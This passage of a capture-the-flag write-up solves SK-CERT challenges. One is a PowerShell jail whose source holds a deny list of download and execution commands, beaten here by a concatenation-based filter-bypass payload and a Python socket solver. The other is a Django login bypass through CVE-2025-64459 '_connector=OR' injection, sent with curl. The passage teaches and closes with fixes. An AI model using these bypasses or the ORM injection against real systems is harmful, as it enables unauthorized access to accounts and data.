print(&quot;Response:&quot;)<br>        print(response)<br><br>        s.close()<br>    except Exception as e:<br>        print(f&quot;Error: {e}&quot;)<br><br>if __name__ == &quot;__main__&quot;:<br>    solve()</pre><p><strong>4. Final Flag</strong> Running the payload against the server reveals the flag:</p><pre>SK-CERT{1_l0v3_p0w45h3LLz_h0P3_u2}</pre><h4>2: JailPS — safeps2:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*AwM92MnK9vtC24tL21YnGQ.png" /><figcaption>Chall desc</figcaption></figure><h4>Challenge Overview:</h4><p>- <strong>Category:</strong> Misc / Jail</p><p>- <strong>Instance:</strong> exp.cybergame.sk 7005</p><p>- <strong>Flag Format: </strong>SK-CERT{…}</p><p>challenge file :</p><pre>$ErrorActionPreference = &quot;SilentlyContinue&quot;<br>Set-StrictMode -Off<br><br>$FLAG = &quot;SK-CERT{fake_flag}&quot;<br><br>Write-Host &quot;Welcome to SAFEPSv2, hardened environment.&quot; -ForegroundColor Cyan<br><br>$Allowed = @(&quot;help&quot;,&quot;about&quot;,&quot;echo&quot;,&quot;time&quot;)<br><br>function Show-Help {<br>  Write-Host &quot;Available commands:&quot; -ForegroundColor Green<br>  $Allowed | ForEach-Object { Write-Host &quot;  $_&quot; }<br>}<br><br>function Show-About {<br>  Write-Host &quot;SAFEPSv2&quot; -ForegroundColor Green<br>}<br><br>function Run-JailCommand {<br>  param([string]$InputLine)<br><br>  if ([string]::IsNullOrWhiteSpace($InputLine)) { return }<br><br>  if ($InputLine.Length -gt 60) {<br>    Write-Host &quot;Too long.&quot; -ForegroundColor Red<br>    return<br>  }<br><br>  $Bad = @(<br>    &quot;import-module&quot;, &quot;cp&quot;, &quot;get-location&quot;, &quot;new-itemproperty&quot;, &quot;set-alias&quot;, &quot;get-itempropertyvalue&quot;, &quot;invoke-restmethod&quot;,<br>    &quot;remove-job&quot;, &quot;clear-variable&quot;, &quot;get-help&quot;, &quot;receive-job&quot;, &quot;set-location&quot;, &quot;select-string&quot;, &quot;out-file&quot;,<br>    &quot;get-command&quot;, &quot;push-location&quot;, &quot;add-content&quot;, &quot;rename-item&quot;, &quot;start-job&quot;, &quot;gmo&quot;, &quot;get-variable&quot;,<br>    &quot;move-item&quot;, &quot;get-itemproperty&quot;, &quot;rm&quot;, &quot;remove-variable&quot;, &quot;invoke-expression&quot;, &quot;get-content&quot;, &quot;get-psdrive&quot;,<br>    &quot;new-item&quot;, &quot;set-item&quot;, &quot;set-content&quot;, &quot;get-childitem&quot;, &quot;start-process&quot;, &quot;get-item&quot;, &quot;set-variable&quot;,<br>    &quot;set-itemproperty&quot;, &quot;invoke-command&quot;, &quot;get-module&quot;, &quot;get-alias&quot;, &quot;clear-history&quot;, &quot;wait-job&quot;, &quot;pwd&quot;,<br>    &quot;http&quot;, &quot;https&quot;, &quot;file&quot;, &quot;ftp&quot;, &quot;ftps&quot;, &quot;data&quot;, <br>    &quot;sl&quot;, &quot;rv&quot;, &quot;sv&quot;, &quot;ni&quot;, &quot;si&quot;, &quot;sp&quot;, &quot;gp&quot;,<br>    &quot;gci&quot;, &quot;dir&quot;, &quot;ls&quot;, &quot;gc&quot;, &quot;sc&quot;, &quot;gv&quot;, &quot;ac&quot;,<br>    &quot;del&quot;, &quot;erase&quot;, &quot;rni&quot;, &quot;cd&quot;, &quot;pushd&quot;, &quot;pop-location&quot;, &quot;popd&quot;,<br>    &quot;sls&quot;, &quot;iwr&quot;, &quot;irm&quot;, &quot;iex&quot;, &quot;icm&quot;, &quot;gcm&quot;, &quot;gal&quot;,<br>    &quot;sal&quot;, &quot;ipmo&quot;, &quot;gl&quot;, &quot;gi&quot;, &quot;clhy&quot;, &quot;saps&quot;, &quot;sjob&quot;,<br>    &quot;rcjb&quot;, &quot;powershell&quot;, &quot;pwsh&quot;, &quot;flag&quot;, &quot;sk&quot;, &quot;cert&quot;, &quot;ctf&quot;,<br>    &quot;type&quot;, &quot;cat&quot;, &quot;reflection&quot;, &quot;system.Reflection&quot;, &quot;assembly&quot;, &quot;System.AppDomain&quot;, &quot;GetAssemblies&quot;,<br>    &quot;LoadWithPartialName&quot;, &quot;System.IO&quot;, &quot;System.IO.File&quot;, &quot;ReadAllText&quot;, &quot;GetType&quot;, &quot;System.Diagnostics.Process&quot;, &quot;Start&quot;,<br>    &quot;%&quot;, &quot;?&quot;, &quot;ac&quot;, &quot;asnp&quot;, &quot;cat&quot;, &quot;cd&quot;, &quot;CFS&quot;,<br>    &quot;chdir&quot;, &quot;clc&quot;, &quot;clear&quot;, &quot;clhy&quot;, &quot;cli&quot;, &quot;clp&quot;, &quot;cls&quot;,<br>    &quot;clv&quot;, &quot;cnsn&quot;, &quot;compare&quot;, &quot;copy&quot;, &quot;cp&quot;, &quot;cpi&quot;, &quot;cpp&quot;,<br>    &quot;curl&quot;, &quot;cvpa&quot;, &quot;dbp&quot;, &quot;del&quot;, &quot;diff&quot;, &quot;dir&quot;, &quot;dnsn&quot;,<br>    &quot;ebp&quot;, &quot;epal&quot;, &quot;epcsv&quot;, &quot;epsn&quot;, &quot;erase&quot;, &quot;etsn&quot;,<br>    &quot;exsn&quot;, &quot;fc&quot;, &quot;fhx&quot;, &quot;fl&quot;, &quot;foreach&quot;, &quot;ft&quot;, &quot;fw&quot;,<br>    &quot;gal&quot;, &quot;gbp&quot;, &quot;gc&quot;, &quot;gcb&quot;, &quot;gci&quot;, &quot;gcm&quot;, &quot;gcs&quot;,<br>    &quot;gdr&quot;, &quot;ghy&quot;, &quot;gi&quot;, &quot;gin&quot;, &quot;gjb&quot;, &quot;gl&quot;, &quot;gm&quot;,<br>    &quot;gmo&quot;, &quot;gp&quot;, &quot;gps&quot;, &quot;gpv&quot;, &quot;group&quot;, &quot;gsn&quot;, &quot;gsnp&quot;,<br>    &quot;gsv&quot;, &quot;gtz&quot;, &quot;gu&quot;, &quot;gv&quot;, &quot;gwmi&quot;, &quot;history&quot;,<br>    &quot;icm&quot;, &quot;iex&quot;, &quot;ihy&quot;, &quot;ii&quot;, &quot;ipal&quot;, &quot;ipcsv&quot;, &quot;ipmo&quot;,<br>    &quot;ipsn&quot;, &quot;irm&quot;, &quot;ise&quot;, &quot;iwmi&quot;, &quot;iwr&quot;, &quot;kill&quot;, &quot;lp&quot;,<br>    &quot;ls&quot;, &quot;man&quot;, &quot;md&quot;, &quot;measure&quot;, &quot;mi&quot;, &quot;mount&quot;, &quot;move&quot;,<br>    &quot;mp&quot;, &quot;mv&quot;, &quot;nal&quot;, &quot;ndr&quot;, &quot;ni&quot;, &quot;nmo&quot;, &quot;npssc&quot;,<br>    &quot;nsn&quot;, &quot;nv&quot;, &quot;ogv&quot;, &quot;oh&quot;, &quot;popd&quot;, &quot;ps&quot;, &quot;pushd&quot;,<br>    &quot;pwd&quot;, &quot;r&quot;, &quot;rbp&quot;, &quot;rcjb&quot;, &quot;rcsn&quot;, &quot;rd&quot;, &quot;ag&quot;, <br>    &quot;ren&quot;, &quot;ri&quot;, &quot;rjb&quot;, &quot;rm&quot;, &quot;rmdir&quot;, &quot;rmo&quot;, &quot;rni&quot;,<br>    &quot;rnp&quot;, &quot;rp&quot;, &quot;rsn&quot;, &quot;rsnp&quot;, &quot;rujb&quot;, &quot;rv&quot;, &quot;rvpa&quot;,<br>    &quot;rwmi&quot;, &quot;sajb&quot;, &quot;sal&quot;, &quot;saps&quot;, &quot;sasv&quot;, &quot;sbp&quot;, &quot;sc&quot;,<br>    &quot;scb&quot;, &quot;select&quot;, &quot;set&quot;, &quot;shcm&quot;, &quot;si&quot;, &quot;sl&quot;, &quot;sleep&quot;,<br>    &quot;sls&quot;, &quot;sort&quot;, &quot;sp&quot;, &quot;spjb&quot;, &quot;spps&quot;, &quot;spsv&quot;, &quot;start&quot;,<br>    &quot;stz&quot;, &quot;sujb&quot;, &quot;sv&quot;, &quot;swmi&quot;, &quot;tee&quot;, &quot;trcm&quot;, &quot;type&quot;,<br>    &quot;wget&quot;, &quot;where&quot;, &quot;wjb&quot;, &quot;write&quot;, &quot;rdr&quot;<br>  )<br><br><br>  $lower = $InputLine.ToLowerInvariant()<br>  foreach ($b in $Bad) {<br>    $b = $b.ToLowerInvariant()<br>    if ($lower -match [regex]::Escape($b)) {<br>        Write-Host &quot;Nope. $b&quot; -ForegroundColor Red<br>        return<br>    }<br>  }<br><br>  $parts = $InputLine.TrimStart() -split &#39;\s+&#39;, 2<br>  $first = $parts[0].ToLowerInvariant()<br>  if ($Allowed -notcontains $first) {<br>    Write-Host &quot;Unknown command.&quot; -ForegroundColor Red<br>    return<br>  }<br><br>  switch ($first) {<br>    &quot;help&quot;  { Show-Help; return }<br>    &quot;about&quot; { Show-About; return }<br>    &quot;time&quot;  { Get-Date; return }<br><br>    &quot;echo&quot;  {<br>      $exprTrimmed = if ($parts.Count -gt 1) { $parts[1].Trim() } else { &quot;&quot; }<br>      if ([string]::IsNullOrWhiteSpace($exprTrimmed)) { return }<br><br>      if ($exprTrimmed -match &#39;\s&#39;) {<br>        Write-Host &quot;Nope.&quot; -ForegroundColor Red<br>        return<br>      }<br><br><br>      if (<br>        $exprTrimmed -match &#39;[_$=\-\.]&#39; -or<br>        $exprTrimmed -match &#39;[{}]&#39; -or<br>        $exprTrimmed -match &#39;[`]&#39; -or<br>        $exprTrimmed -match &#39;\$ExecutionContext&#39; -or<br>        $exprTrimmed -match &#39;\[&#39; -or<br>        $exprTrimmed -match &#39;\]&#39;<br>      ) {<br>        Write-Host &quot;Nope.&quot; -ForegroundColor Red<br>        return<br>      }<br><br>      if (<br>        ($exprTrimmed.Length -ge 2) -and<br>        (<br>          ($exprTrimmed.StartsWith(&quot;&#39;&quot;) -and $exprTrimmed.EndsWith(&quot;&#39;&quot;)) -or<br>          ($exprTrimmed.StartsWith(&#39;&quot;&#39;) -and $exprTrimmed.EndsWith(&#39;&quot;&#39;))<br>        )<br>      ) {<br>        Write-Host $exprTrimmed.Substring(1, $exprTrimmed.Length - 2)<br>        return<br>      }<br><br>      if ($exprTrimmed -match &#39;[^\u0000-\u007F]&#39;) {<br>        Write-Host &quot;Nope.&quot; -ForegroundColor Red<br>        return<br>      }<br><br>      if ($exprTrimmed -match &#39;^[a-zA-Z0-9_]+$&#39;) {<br>        Write-Host $exprTrimmed<br>        return<br>      }<br><br>      $sb = [ScriptBlock]::Create(&quot;echo $exprTrimmed&quot;)<br>      $result = &amp; $sb<br>      if ($null -ne $result) { $result }<br>      return<br>    }<br>  }<br>}<br><br>while (($line = [Console]::In.ReadLine()) -ne $null) {<br>    if ($line -eq &quot;exit&quot;) { break }<br><br>    try {<br>        Run-JailCommand -InputLine $line<br>    } catch {<br>        Write-Host (&quot;Error: &quot; + $_.Exception.Message)<br>    }<br>}</pre><p>This is literally the same challenge but an upgraded version of the first SAFEPS jail. It adds a critical new constraint: <strong>no whitespace allowed in the payload</strong>.</p><p>1. Analysis of the Jail (`script.ps1`):<br>The jail logic is similar to v1, but with a new check in the `echo` branch:</p><pre>if ($exprTrimmed -match &#39;\s&#39;) {<br>    Write-Host &quot;Nope.&quot; -ForegroundColor Red<br>    return<br>}</pre><p>This prevents us from using spaces between the command and its arguments. For example, `echo &amp; (“g”+”v”) (“F”+”L”+”A”+”G”)` would fail because of the spaces.</p><p>2. Exploitation Strategy:<br>PowerShell is famously flexible with syntax. Many expressions that normally require spaces can be written without them using grouping operators `()` and the call operator `&amp;`.</p><p>A. Whitespace-free Call Operator:<br>The call operator `&amp;` can be immediately followed by an expression in parentheses, and the arguments can follow in their own parentheses without spaces:</p><blockquote>`&amp;(“cmd”)(“arg”)` is equivalent to `&amp; “cmd” “arg”`.</blockquote><p>B. Bypassing Keywords and Variables</p><p>Just like in v1, we use concatenation to bypass the keyword blacklist for `gv` and `FLAG`:</p><p>- (“g”+”v”)</p><p>- (“F”+”L”+”A”+”G”)</p><p>C. Construction the Payload:<br>Since `echo` creates a `ScriptBlock` using the following logic:</p><pre>$sb = [ScriptBlock]::Create(&quot;echo $exprTrimmed&quot;)</pre><p>Our input `$exprTrimmed` is prepended with `echo `. If we provide `(&amp;(“g”+”v”)(“F”+”L”+”A”+”G”))`, the resulting script block becomes:</p><blockquote>echo (&amp;(“g”+”v”)(“F”+”L”+”A”+”G”))</blockquote><p>This executes echo with the <strong><em>result </em></strong>of the <strong>gv FLAG </strong>command.</p><p>3. The Final Payload:<br>The payload satisfies the length limit (&lt; 60 chars), contains no whitespaces, and bypasses all filtered characters and keywords.</p><pre>echo (&amp;(&quot;g&quot;+&quot;v&quot;)(&quot;F&quot;+&quot;L&quot;+&quot;A&quot;+&quot;G&quot;))</pre><h4>solver:</h4><pre>import socket<br>import time<br><br>def solve():<br>    host = &quot;exp.cybergame.sk&quot;<br>    port = 7005<br><br>    # The payload:<br>    # 1. &#39;echo&#39; is allowed.<br>    # 2. In SAFEPSv2, the input to echo must NOT contain any whitespace (\s).<br>    # 3. If the input contains non-alphanumeric characters (like parens), <br>    #    it executes &#39;echo &lt;input&gt;&#39; in a ScriptBlock.<br>    # 4. We can use parens to group expressions and the &#39;&amp;&#39; call operator.<br>    # 5. By bypassing whitespaces and using concatenation, we can call &#39;gv&#39; (Get-Variable)<br>    #    with the argument &#39;FLAG&#39;.<br>    <br>    payload = &#39;echo (&amp;(&quot;g&quot;+&quot;v&quot;)(&quot;F&quot;+&quot;L&quot;+&quot;A&quot;+&quot;G&quot;))\n&#39;<br><br>    try:<br>        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>        s.connect((host, port))<br>        <br>        # Read the welcome message<br>        time.sleep(1)<br>        print(s.recv(1024).decode())<br><br>        print(f&quot;Sending payload: {payload.strip()}&quot;)<br>        s.sendall(payload.encode())<br><br>        # Read the response<br>        time.sleep(2)<br>        response = s.recv(4096).decode()<br>        print(&quot;Response:&quot;)<br>        print(response)<br><br>        s.close()<br>    except Exception as e:<br>        print(f&quot;Error: {e}&quot;)<br><br>if __name__ == &quot;__main__&quot;:<br>    solve()</pre><p>4. Final Flag:</p><pre>SK-CERT{pow3R5H3LL_d03n7_C4r3_b0u7_5p4c3zzz}</pre><h3>4 : Offensive Security(web) — Ormt2:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*OM5r1VwL7I_Unw6s-zoEpA.png" /><figcaption>Chall desc</figcaption></figure><p>Challenge Name: ORMT2</p><p>Category: Web Exploitation</p><p>Difficulty: Medium</p><p>Flag: SK-CERT{cve_2025_64459_c0nn3ct0r_1nj3ct10n}</p><p>CVE Referenced: [CVE-2025–64459](<a href="https://www.djangoproject.com/weblog/2025/nov/05/security-releases/">https://www.djangoproject.com/weblog/2025/nov/05/security-releases/</a>)</p><blockquote>Table of Contents:</blockquote><blockquote>1. [Challenge Description]<br>2. [Reconnaissance]<br>3. [Source Code Analysis]<br>4. [Vulnerability Research — CVE-2025–64459]<br>5. [Exploit Development]<br>6. [Executing the Attack]<br>7. [Flag]<br>8. [Takeaways &amp; Lessons Learned]</blockquote><h4>1. Challenge Description:</h4><blockquote><em>&gt; Following our previous engagement, the development team claims to have patched all identified vulnerabilities and has overhauled their authentication system from scratch. They are requesting a re-test to confirm the fixes are effective and to identify any new security issues. Your objective is to bypass authentication and log in as the admin to retrieve the flag.</em></blockquote><h4><strong>2. Reconnaissance:</strong></h4><h4><strong>2.1 Initial Page Review:</strong></h4><p>Navigating to http://exp.cybergame.sk:7002 presents a simple login page for “Bookworms Bookstore”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gJBIG4CoMR9ROZZMfr8mAA.png" /><figcaption>login page</figcaption></figure><p>Two endpoints are exposed:</p><ul><li>POST / — Login</li><li>GET/POST /signup — User registration</li></ul><p>key files extracted From Handout:</p><pre><br>```<br>handout/<br>├── dockerfile<br>├── manage.py<br>├── main/<br>│   ├── models.py<br>│   ├── views.py<br>│   ├── templates/<br>│   │   ├── login.html<br>│   │   ├── signup.html<br>│   │   └── error.html<br>│   └── migrations/<br>│       ├── 0001_initial.py<br>│       └── 0002_seed_data.py<br>└── ormt2/<br>    ├── settings.py<br>    └── urls.py<br>```</pre><h3><strong>3. Source Code Analysis:</strong></h3><h4><strong>3.1 main/models.py — Data Model:</strong></h4><pre>from django.db import models<br><br>class SiteUser(models.Model):<br>    username = models.CharField(max_length=50, unique=True)<br>    password = models.TextField()<br>    ROLE_CHOICES = [<br>        (&quot;customer&quot;, &quot;Customer&quot;),<br>        (&quot;author&quot;, &quot;Author&quot;),<br>        (&quot;admin&quot;, &quot;Admin&quot;),<br>    ]<br>    role = models.CharField(max_length=20, choices=ROLE_CHOICES)</pre><p>The <em>SiteUser </em>model has three fields: <em>username</em>, <em>password</em>, and <em>role</em>.</p><h4><strong>3.2 main/migrations/0002_seed_data.py — Admin Credentials:</strong></h4><pre>import secrets, string<br>alphabet = string.ascii_letters + string.digits<br><br>def seed(apps, schema_editor):<br>    siteuser_model = apps.get_model(&#39;main&#39;, &#39;SiteUser&#39;)<br><br>    admin_user, _ = siteuser_model.objects.get_or_create(<br>        username=&#39;&#39;.join(secrets.choice(alphabet) for _ in range(20)),<br>        password=&#39;&#39;.join(secrets.choice(alphabet) for _ in range(32)),<br>        role=&#39;admin&#39;<br>    )</pre><p>Key finding from this code snippet is that The admin user’s username and password are <strong>randomly generated</strong> (20 and 32 character alphanumeric strings respectively). We cannot guess or brute-force them. We need to find another way in.</p><h4><strong>3.3 main/views.py — The Vulnerable Login Logic:</strong></h4><pre>from django.shortcuts import render<br>from django.http import HttpResponse, HttpResponseServerError, HttpResponseBadRequest<br>from main.models import SiteUser<br>from django.views.decorators.csrf import csrf_exempt<br><br>def sanitize(param):<br>    while param.find(&#39;__&#39;) != -1:<br>        param = param.replace(&#39;__&#39;, &#39;_&#39;)<br>    return param<br><br>@csrf_exempt<br>def siteuser_login(request):<br>    if request.method == &#39;GET&#39;:<br>        return render(request, &#39;login.html&#39;)<br>    elif request.method == &#39;POST&#39;:<br>        params = {}<br>        for param in request.POST:<br>            params[sanitize(param)] = request.POST[param]          # [1]<br><br>        if {&#39;password&#39;, &#39;username&#39;}.intersection(params.keys()) != {&#39;password&#39;, &#39;username&#39;}:<br>            return HttpResponseServerError(&#39;Password and username required&#39;)<br><br>        try:<br>            user = SiteUser.objects.get(**params)                  # [2]<br>        except SiteUser.DoesNotExist:<br>            return render(request, &#39;error.html&#39;, {&#39;message&#39;: &#39;Login failed&#39;})<br>        except Exception as e:<br>            return HttpResponseServerError(f&#39;Query error {e}&#39;)<br><br>        if user.role == &#39;admin&#39;:<br>            return render(request, &#39;error.html&#39;, {&#39;message&#39;: &#39;SK-CERT{fake_flag}&#39;})  # [3]<br>        return render(request, &#39;error.html&#39;, {&#39;message&#39;: &#39;Welcome back! More features coming soon!&#39;})</pre><p>What we can Observe from this is as follows:</p><pre>| Marker | Code | Observation |<br>|--------|------|-------------|<br>| `[1]` | `params[sanitize(param)] = request.POST[param]` | ALL POST parameters are collected into a dict, with key sanitization |<br>| `[2]` | `SiteUser.objects.get(**params)` | The entire dict is unpacked into Django&#39;s `.get()` call — dangerous! |<br>| `[3]` | Real flag would be returned if `user.role == &#39;admin&#39;` | Confirms objective: log in as admin |</pre><h4><strong>The Sanitize Function — False Sense of Security:</strong></h4><pre>def sanitize(param):<br>    while param.find(&#39;__&#39;) != -1:<br>        param = param.replace(&#39;__&#39;, &#39;_&#39;)<br>    return param</pre><p>This function strips <strong>double underscores</strong> (`__`) from parameter names, likely attempting to prevent Django ORM field traversal (e.g., role__iexact, role__contains). However, it only strips `__` — <strong>**single underscores are left untouched**</strong>.</p><h3><strong>4. Vulnerability Research — CVE-2025–64459:</strong></h3><h4><strong>4.1 What is CVE-2025–64459?:</strong></h4><p>CVE-2025–64459 is a <strong>critical SQL injection vulnerability</strong> (CVSS 9.1) in the Django web framework, affecting versions 4.2, 5.1, 5.2, and 6.0 (beta). It was patched in:</p><ul><li>Django 4.2.26</li><li>Django 5.1.14</li><li>Django 5.2.8</li></ul><h4><strong>4.2 Root Cause:</strong></h4><p><strong><em>Django’s QuerySet methods (`filter()`, `exclude()`, `get()`) accept `**kwargs` to build SQL `WHERE` clauses. Internally, Django also uses two special parameters to control query logic:</em></strong></p><pre><br>| Parameter | Type | Purpose |<br>|-----------|------|---------|<br>| `_connector` | String (`AND`, `OR`, `XOR`) | Controls how conditions are combined in a Q object |<br>| `_negated` | Boolean | Inverts the entire query condition (i.e., adds SQL `NOT`) |</pre><p><strong>Before the patch</strong>, these parameters were <strong>not validated </strong>against user-supplied input. If an application passed user-controlled data directly into `filter()`, `get()`, or `exclude()`, an attacker could inject `_connector=OR` or `_negated=True` to dramatically alter the resulting SQL query.</p><h4><strong>4.3 How `_connector=OR` Changes Query Logic:</strong></h4><p><strong>Normal login query (without injection):</strong></p><pre>SiteUser.objects.get(username=&#39;alice&#39;, password=&#39;secret&#39;, role=&#39;admin&#39;)<br>```<br>Generates SQL:<br>```<br>SELECT * FROM main_siteuser<br>WHERE username = &#39;alice&#39;<br>  AND password = &#39;secret&#39;<br>  AND role = &#39;admin&#39;;</pre><p><strong>With `_connector=OR` injected:</strong></p><pre>SiteUser.objects.get(username=&#39;alice&#39;, password=&#39;secret&#39;, role=&#39;admin&#39;, _connector=&#39;OR&#39;)<br>```<br>Generates SQL:<br>```<br>SELECT * FROM main_siteuser<br>WHERE username = &#39;alice&#39;<br>   OR password = &#39;secret&#39;<br>   OR role = &#39;admin&#39;;</pre><p>The `AND` becomes `OR`, completely changing the semantics. Now, <strong>any row matching any single condition</strong> is returned.</p><h4><strong>4.4 Why the Sanitize Function Fails to Protect:</strong></h4><p>The developer tried to block Django ORM filter lookups using double underscores:</p><ul><li>`role__iexact` → sanitized to `role_iexact` (invalid field, blocked)</li><li>`password__contains` → sanitized to `password_contains` (invalid field, blocked)</li></ul><p>However, `_connector` uses a <strong>single leading underscore</strong>, which the sanitizer <strong>does not modify</strong>. The parameter passes through completely intact:</p><pre>Input:  _connector=OR<br>Sanitized: _connector=OR   ← unchanged! Single underscores are not stripped.</pre><h3><strong>5. Exploit Development:</strong></h3><h4><strong>5.1 Strategy:</strong></h4><p>We need to:</p><ol><li>Pass `username` and `password` (required by the code’s validation check)</li></ol><p>2. Inject `_connector=OR` to change `AND` logic to `OR`</p><p>3. Include `role=admin` so the OR clause will match the admin user</p><p>With `_connector=OR`, the effective SQL becomes:</p><pre>SELECT * FROM main_siteuser<br>WHERE username = &#39;&lt;our_value&gt;&#39;<br>   OR password = &#39;&lt;our_value&gt;&#39;<br>   OR role = &#39;admin&#39;;</pre><h4><strong>5.2 Choosing Username and Password Values:</strong></h4><p>The key constraint: `get()` must return <strong>exactly one</strong> record.</p><p>- If `username=’anything’` or `password=’anything’` coincidentally matches an existing user, `get()` could return multiple rows and raise a `MultipleObjectsReturned` exception.</p><p>- We need username and password values that <strong>definitely don’t match</strong> any real user.</p><p><strong>First Attempt (any generic values):</strong></p><pre>curl -X POST http://exp.cybergame.sk:7002/ \<br>  -d &#39;username=anything&amp;password=anything&amp;_connector=OR&amp;role=admin&#39;</pre><p><strong>Response: </strong>Query error get() returned more than one.</p><p>This confirms the OR injection works — but the generic values happened to match multiple rows (or the OR clause returned all users where `role=admin` plus some coincidental matches).</p><p><strong>Second Attempt (unique unlikely values):<br></strong>Using long, clearly non-existent values:</p><p>username = AAAAAAAAAAAAAAAAAAA (19 A’s — won’t match any real user)</p><p>password = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB (31 B’s — won’t match any real user)</p><h4>With these values:</h4><p>- `username=’AAAAAAAAAAAAAAAAAAA’` → matches nobody</p><p>- `password=’BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB’` → matches nobody</p><p>- `role=’admin’` → matches exactly 1 user (the seeded admin)</p><p><strong><em>Result: `get()` returns exactly one row — the admin user. ✅</em></strong></p><h3><strong>6. Executing the Attack:</strong></h3><p><strong>6.1 Final Exploit Command:</strong></p><pre>curl -s -X POST http://exp.cybergame.sk:7002/ \<br>  -d &#39;username=AAAAAAAAAAAAAAAAAAA&amp;password=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB&amp;_connector=OR&amp;role=admin&#39;</pre><h4><strong>6.2 POST Body Decoded:</strong></h4><pre>| Parameter | Value | Purpose |<br>|-----------|-------|---------|<br>| `username` | `AAAAAAAAAAAAAAAAAAA` | Required by validation; won&#39;t match any real user |<br>| `password` | `BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB` | Required by validation; won&#39;t match any real user |<br>| `_connector` | `OR` | **Injection Payload** — changes AND to OR in the Django Q object |<br>| `role` | `admin` | Condition that matches only the admin user |</pre><p><strong>6.3 What Happens Under the Hood:</strong></p><pre># After sanitize() — _connector passes through unchanged:<br>params = {<br>    &#39;username&#39;: &#39;AAAAAAAAAAAAAAAAAAA&#39;,<br>    &#39;password&#39;: &#39;BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB&#39;,<br>    &#39;_connector&#39;: &#39;OR&#39;,<br>    &#39;role&#39;: &#39;admin&#39;<br>}<br><br># This Django call:<br>SiteUser.objects.get(**params)<br><br># Internally constructs:<br>Q(username=&#39;AAAAAAAAAAAAAAAAAAA&#39;, password=&#39;BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB&#39;, role=&#39;admin&#39;, _connector=&#39;OR&#39;)<br><br># Which generates the SQL:<br># SELECT * FROM main_siteuser<br># WHERE username = &#39;AAAAAAAAAAAAAAAAAAA&#39;<br>#    OR password = &#39;BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB&#39;<br>#    OR role = &#39;admin&#39;<br>#<br># Only the admin user matches (via role=&#39;admin&#39;)<br># get() returns exactly 1 row → user.role == &#39;admin&#39; → flag is returned!</pre><h4><strong>6.4 Server Response:</strong></h4><pre>&lt;!doctype html&gt;<br>&lt;html lang=&quot;en&quot;&gt;<br>&lt;head&gt;<br>    &lt;title&gt;Bookworms Bookstore&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;div class=&quot;error-wrapper page-content&quot;&gt;<br>        &lt;div class=&quot;error-box&quot;&gt;<br>            &lt;h1 class=&quot;section-title&quot;&gt;Good job: SK-CERT{cve_2025_64459_c0nn3ct0r_1nj3ct10n}&lt;/h1&gt;<br>            &lt;a href=&quot;/login&quot; class=&quot;btn btn-back&quot;&gt;Back to login&lt;/a&gt;<br>        &lt;/div&gt;<br>    &lt;/div&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;<br></pre><h3>7.Flag:</h3><pre>SK-CERT{cve_2025_64459_c0nn3ct0r_1nj3ct10n}</pre><h3><strong>8. Takeaways &amp; Lessons Learned:</strong></h3><p><strong>8.1 Root Cause Summary:<br></strong>The vulnerability chain consists of three compounding issues:</p><pre>[1] Django CVE-2025-64459<br>    _connector / _negated not validated in get()/filter()/exclude()<br>           +<br>[2] Unsafe pattern: SiteUser.objects.get(**user_controlled_dict)<br>    Entire user input passed as ORM kwargs without allowlisting<br>           +<br>[3] Incomplete sanitization<br>    sanitize() only strips __, missing single-underscore internal params<br>           =<br>[CRITICAL] Authentication Bypass → Admin Access</pre><p><strong>8.2 What the Developer Did Wrong:<br></strong>1. <strong>Allowlist, not blocklist:</strong> The sanitizer tried to block bad params (blocklist). Instead, the code should have <strong>only allowed</strong> known-safe fields:</p><pre># SAFE pattern<br>   user = SiteUser.objects.get(<br>       username=request.POST[&#39;username&#39;],<br>       password=request.POST[&#39;password&#39;]<br>   )</pre><p>2. <strong>Never unpack untrusted dicts into ORM methods:</strong> `Model.objects.get(**user_data)` is inherently dangerous regardless of CVEs, because new Django internals or unknown fields can be injected.</p><p>3. <strong>Outdated/vulnerable Django version:</strong> Running a Django version affected by CVE-2025–64459.</p><h4><strong>8.3 Correct Fix:</strong></h4><pre># SAFE login view<br>@csrf_exempt<br>def siteuser_login(request):<br>    if request.method == &#39;POST&#39;:<br>        username = request.POST.get(&#39;username&#39;, &#39;&#39;)<br>        password = request.POST.get(&#39;password&#39;, &#39;&#39;)<br>        if not username or not password:<br>            return HttpResponseServerError(&#39;Password and username required&#39;)<br>        try:<br>            user = SiteUser.objects.get(username=username, password=password)<br>        except SiteUser.DoesNotExist:<br>            return render(request, &#39;error.html&#39;, {&#39;message&#39;: &#39;Login failed&#39;})<br>        # ... rest of logic</pre><p><strong>8.4 CVE-2025–64459 Affected Versions &amp; Patches:</strong></p><pre>| Django Version | Vulnerable | Patched In |<br>|---------------|------------|------------|<br>| 4.2.x         | &lt; 4.2.26   | 4.2.26     |<br>| 5.1.x         | &lt; 5.1.14   | 5.1.14     |<br>| 5.2.x         | &lt; 5.2.8    | 5.2.8      |<br>| 6.0 (beta)    | Yes        | 6.0 beta   |</pre><h4><strong>8.5 CVSS Score:</strong></h4><ul><li><strong>CVSS v3.1:</strong> 9.1 (Critical)</li><li><strong>Attack Vector:</strong> Network</li><li><strong>Authentication Required: </strong>None</li><li><strong>Impact:</strong> Authentication Bypass, Privilege Escalation, Data Exfiltration</li></ul><h3>5 : RSA — Hellish RSA:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*H-PQJHVAgMPtt3eEuQF-_Q.png" /><figcaption>Chall desc</figcaption></figure><p>We are provided with 2 files:</p><p>data.txt:</p><pre>This RSA crypto task comes straight from HELL, or does it ?<br><br>n = 